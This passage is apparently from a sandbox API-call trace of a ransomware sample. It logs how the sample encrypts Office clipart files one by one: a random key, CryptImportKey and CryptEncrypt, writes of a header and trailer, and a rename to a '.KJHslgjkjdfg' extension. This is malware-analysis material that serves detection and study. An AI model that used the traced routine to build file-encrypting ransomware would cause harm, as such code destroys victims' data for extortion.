"c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.499] GetProcessHeap () returned 0x990000 [0208.499] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.499] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.500] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.500] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.500] GetProcessHeap () returned 0x990000 [0208.500] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.500] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.500] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.500] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.502] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.502] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.502] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.502] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.503] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.503] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.503] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e90, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e90, lpOverlapped=0x0) returned 1 [0208.504] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90, dwBufLen=0x7e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e90) returned 1 [0208.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.504] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e90, lpOverlapped=0x0) returned 1 [0208.505] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.505] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.505] SetEndOfFile (hFile=0x130) returned 1 [0208.508] GetProcessHeap () returned 0x990000 [0208.508] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.508] GetProcessHeap () returned 0x990000 [0208.508] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.508] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.kjhslgjkjdfg")) returned 1 [0208.510] CloseHandle (hObject=0x130) returned 1 [0208.510] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c36200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c36200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x8118, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02738U.BMP", cAlternateFileName="")) returned 1 [0208.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.511] GetProcessHeap () returned 0x990000 [0208.511] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.511] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.511] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.511] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.625] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.625] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.625] GetProcessHeap () returned 0x990000 [0208.625] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.625] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.625] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.625] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.625] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.625] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.625] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.626] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.626] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.626] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.626] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8118, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8118, lpOverlapped=0x0) returned 1 [0208.627] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8120, dwBufLen=0x8120 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8120) returned 1 [0208.627] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.627] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8120, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8120, lpOverlapped=0x0) returned 1 [0208.628] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.628] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x81f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.628] SetEndOfFile (hFile=0x130) returned 1 [0208.631] GetProcessHeap () returned 0x990000 [0208.631] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.631] GetProcessHeap () returned 0x990000 [0208.631] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.kjhslgjkjdfg")) returned 1 [0208.633] CloseHandle (hObject=0x130) returned 1 [0208.633] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9ff1700, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9ff1700, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x5f2b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740G.GIF", cAlternateFileName="")) returned 1 [0208.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.636] GetProcessHeap () returned 0x990000 [0208.636] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.636] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.636] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.636] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0208.639] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.639] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.639] GetProcessHeap () returned 0x990000 [0208.639] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.639] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.639] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.640] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.640] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.640] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.640] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.640] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.640] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.640] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.641] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5f2b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5f2b, lpOverlapped=0x0) returned 1 [0208.642] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f30, dwBufLen=0x5f30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5f30) returned 1 [0208.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.642] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5f30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5f30, lpOverlapped=0x0) returned 1 [0208.642] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.642] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6004, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.643] SetEndOfFile (hFile=0x130) returned 1 [0208.645] GetProcessHeap () returned 0x990000 [0208.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.646] GetProcessHeap () returned 0x990000 [0208.646] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.kjhslgjkjdfg")) returned 1 [0208.647] CloseHandle (hObject=0x130) returned 1 [0208.648] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x747f6500, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x747f6500, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7f68, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02740U.BMP", cAlternateFileName="")) returned 1 [0208.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.649] GetProcessHeap () returned 0x990000 [0208.649] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.649] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.649] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.649] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.651] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.651] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.651] GetProcessHeap () returned 0x990000 [0208.651] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.651] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.651] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.651] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0208.651] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0208.652] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0208.652] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0208.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0208.652] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0208.652] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.652] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.652] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.652] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7f68, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7f68, lpOverlapped=0x0) returned 1 [0208.653] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f70, dwBufLen=0x7f70 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7f70) returned 1 [0208.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.654] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7f70, lpOverlapped=0x0) returned 1 [0208.654] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.654] SetEndOfFile (hFile=0x130) returned 1 [0208.657] GetProcessHeap () returned 0x990000 [0208.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0208.657] GetProcessHeap () returned 0x990000 [0208.657] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0208.657] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.kjhslgjkjdfg")) returned 1 [0208.659] CloseHandle (hObject=0x130) returned 1 [0208.659] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf53a6300, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53a6300, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x50a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02742G.GIF", cAlternateFileName="")) returned 1 [0208.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0208.660] GetProcessHeap () returned 0x990000 [0208.660] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0208.660] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0208.660] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0208.660] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0208.664] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0208.664] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0208.664] GetProcessHeap () returned 0x990000 [0208.664] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0208.664] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0208.664] CryptDestroyKey (hKey=0x9b6628) returned 1 [0208.664] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 